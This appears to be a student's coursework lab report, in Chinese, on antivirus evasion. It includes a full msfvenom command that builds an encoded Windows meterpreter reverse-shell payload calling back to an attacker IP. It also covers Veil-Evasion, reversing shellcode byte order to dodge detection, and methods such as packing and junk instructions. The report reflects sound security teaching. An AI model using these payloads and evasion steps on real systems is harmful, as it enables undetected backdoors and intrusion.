2015306 白皎 《网络攻防》Exp3 免杀原理与实践
一、实践基础
免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术。
免杀的方法有很多,比如加壳改壳、加垃圾指令、以及修改内存特征码,在本博客后面就是通过把具有特征码的代码顺序互换一下来达到免杀的目的。
二、实践内容
第一项: Msfvenom编码器生成的程序
1.直接利用上次后门实验生成的exe文件进行检测~
可以明显的看到将近一半的杀软都可以检测出来错误,说明这个木马不行,之后我们会进行改造,尽量使文件不要被查杀出来。
2.按理论上讲,编码会降低检出率,那我们多编码几次,看一下效果。下面是编码10次的命令。
# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i **10** -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded10.exe
编码十次之后,我们继续进行检测。可以看到,并没有什么变化。可以得出结论,编码次数的多少对免杀效果没有积极影响。
第二项:veil-evasion生成的程序
1.直接拷了老师的虚拟机,在安装weil上没有遇到什么波折~按照老师动图的教程,启动weil,设置好回连的IP地址和端口号后,生成后门程序。然后在网站中进行检测。
可以发现,报毒率很明显降低。
第三项:用shellcode编写的程序
1.通过msf生成一个c语言格式的Shellcode数组。设置好攻击机IP地址和端口号。
2.通过以下该命令进行编译。意思是将该文件编译为一个可在64位windows系统下操作的可执行文件。
3.将生成的执行文件进行检测。可以看到
4.下面进行回连,可以看到是ok的。
5.接下来又是进一步的改造。我选择的办法是将shellcode进行逆序变换,将变化后的数组放入被攻击机的程序中来尽量隐身,但是之后程序中有将其变回原形的代码。在被攻击机中需要用VS进行编译,使用教程详见如何用VS2012编写c语言?。现在在进行一次检测。
可以看到只查出一个哈哈哈!
6.用电脑杀毒软件去查杀木马病毒,也没有被查杀出来!
7.再次进行回连成功~~~
三、问题回答
1.基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测
- 启发式恶意软件检测
- 基于行为的恶意软件检测
(2)免杀是做什么?
使病毒木马免于被杀毒软件查杀,使攻击机安全利用
(3)免杀的基本方法有哪些?
- 加壳改壳:加壳改壳是病毒免杀常用的手段之一,加壳改壳原理是将一个木马文件加上upx壳或者其它壳后用lordpe将文件入口点加1,然后将区段字符全部去掉,然后用od打开免杀的木马在入口上下100字符内修改一些代码让杀毒软件查不出来是什么壳就不知道怎么脱就可以实现免杀的目的。
- 加花指令:加花是病毒免杀常用的手段,加花的原理就是通过添加加花指令(一些垃圾指令,类型加1减1之类的无用语句)让杀毒软件检测不到特征码,干扰杀毒软件正常的检测。
- 改程序入口点
- 免杀修改方法:直接修改特征码的十六进制法、修改字符串大小写法、等价替换法、指令顺序调换法、通用跳转法。
2.实践总结与体会
从这次的实验最直观的了解到我们日常用的杀毒软件也并不是万能的,存在着很多漏洞,因此自己在使用电脑,使用网络时要小心谨慎。
然后在做实验的过程中,可以初步了解到我们的电脑被攻击是怎么个原理。感觉懂这些技术的大神是非常酷的!!!
3.离实战还缺些什么技术或步骤?
首先,对于实战来说,木马程序如何嵌入被攻击机中。比如我们日常生活能看到的视频、网页、百度云中的一些木马程序,如何将后门加载到其中我们还需要学习。
其次,我们现在只是会非常简单的对shellcode进行一些改造,但实际上病毒库时时刻刻不再更新发展,我们更需要学会多方面技术来使不同的后门免杀。